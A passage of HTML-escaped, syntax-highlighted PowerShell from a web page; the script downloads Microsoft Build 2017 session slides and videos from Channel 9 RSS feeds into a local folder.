&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;144&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#144&#34;&gt;144&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;145&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#145&#34;&gt;145&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;146&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#146&#34;&gt;146&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;147&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#147&#34;&gt;147&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;148&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#148&#34;&gt;148&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;149&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#149&#34;&gt;149&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;150&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#150&#34;&gt;150&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;151&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#151&#34;&gt;151&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;152&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#152&#34;&gt;152&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;153&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#153&#34;&gt;153&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;154&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#154&#34;&gt;154&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;155&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#155&#34;&gt;155&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;156&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#156&#34;&gt;156&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;157&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#157&#34;&gt;157&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;158&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#158&#34;&gt;158&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;159&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#159&#34;&gt;159&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;160&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#160&#34;&gt;160&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;161&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#161&#34;&gt;161&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;162&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#162&#34;&gt;162&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;163&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#163&#34;&gt;163&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;164&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#164&#34;&gt;164&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;165&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#165&#34;&gt;165&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;166&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#166&#34;&gt;166&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;167&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#167&#34;&gt;167&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;168&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#168&#34;&gt;168&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;169&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#169&#34;&gt;169&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;170&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#170&#34;&gt;170&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;171&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#171&#34;&gt;171&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;172&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#172&#34;&gt;172&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;173&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#173&#34;&gt;173&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;174&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#174&#34;&gt;174&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;175&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#175&#34;&gt;175&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;176&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#176&#34;&gt;176&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;177&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#177&#34;&gt;177&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;178&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#178&#34;&gt;178&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;179&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#179&#34;&gt;179&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;180&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#180&#34;&gt;180&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;181&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#181&#34;&gt;181&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;182&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#182&#34;&gt;182&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;183&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#183&#34;&gt;183&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# First setup the folder where to download using the parameters outlined below.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Second, loop through and get the decks first&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Third. loop through and get the videos last&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Note: IF you don&amp;#39;t want to download the videos, and want only the pptx then comment the section later in the script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# parameters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#eed49f&#34;&gt;Environment&lt;/span&gt;]::CurrentDirectory=(&lt;span style=&#34;color:#91d7e3&#34;&gt;Get-Location&lt;/span&gt; -PSProvider FileSystem).&lt;span style=&#34;color:#f5a97f&#34;&gt;ProviderPath&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt; = (&lt;span style=&#34;color:#91d7e3&#34;&gt;new-object&lt;/span&gt; net.webclient)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Filenames might get long, so keep this short!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;D:\build&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;)) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$fpath&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; dosen&amp;#39;t exist. Creating it...&amp;#34;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;set-location&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Grab the RSS feed - Build 2017&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$a&lt;/span&gt; = (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;downloadstring&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://s.ch9.ms/events/build/2017/rss/mp4high&amp;#34;&lt;/span&gt;)) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$b&lt;/span&gt; = (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;downloadstring&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://s.ch9.ms/events/build/2017/rss/slides&amp;#34;&lt;/span&gt;)) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Video quality default is high; you can select regular (mp4) or lower quality (mp3)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#$a = ($rss.downloadstring(&amp;#34;http://s.ch9.ms/events/build/2017/rss/mp4&amp;#34;)) &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#$a = ($rss.downloadstring(&amp;#34;http://s.ch9.ms/events/build/2017/rss/mp3&amp;#34;)) &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ********** download the decks **********&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;foreach&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$b&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;channel&lt;/span&gt;.item) {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;comments&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;) | &lt;span style=&#34;color:#91d7e3&#34;&gt;select &lt;/span&gt;-last &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get the url for the pptx file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urlpptx&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;enclosure&lt;/span&gt;.url)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urljpg&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;thumbnail&lt;/span&gt;.url)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# make the filename readable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;creator&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; - &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;’&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;â€&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.pptx&amp;#34;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;_960.jpg&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-ne&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;) {
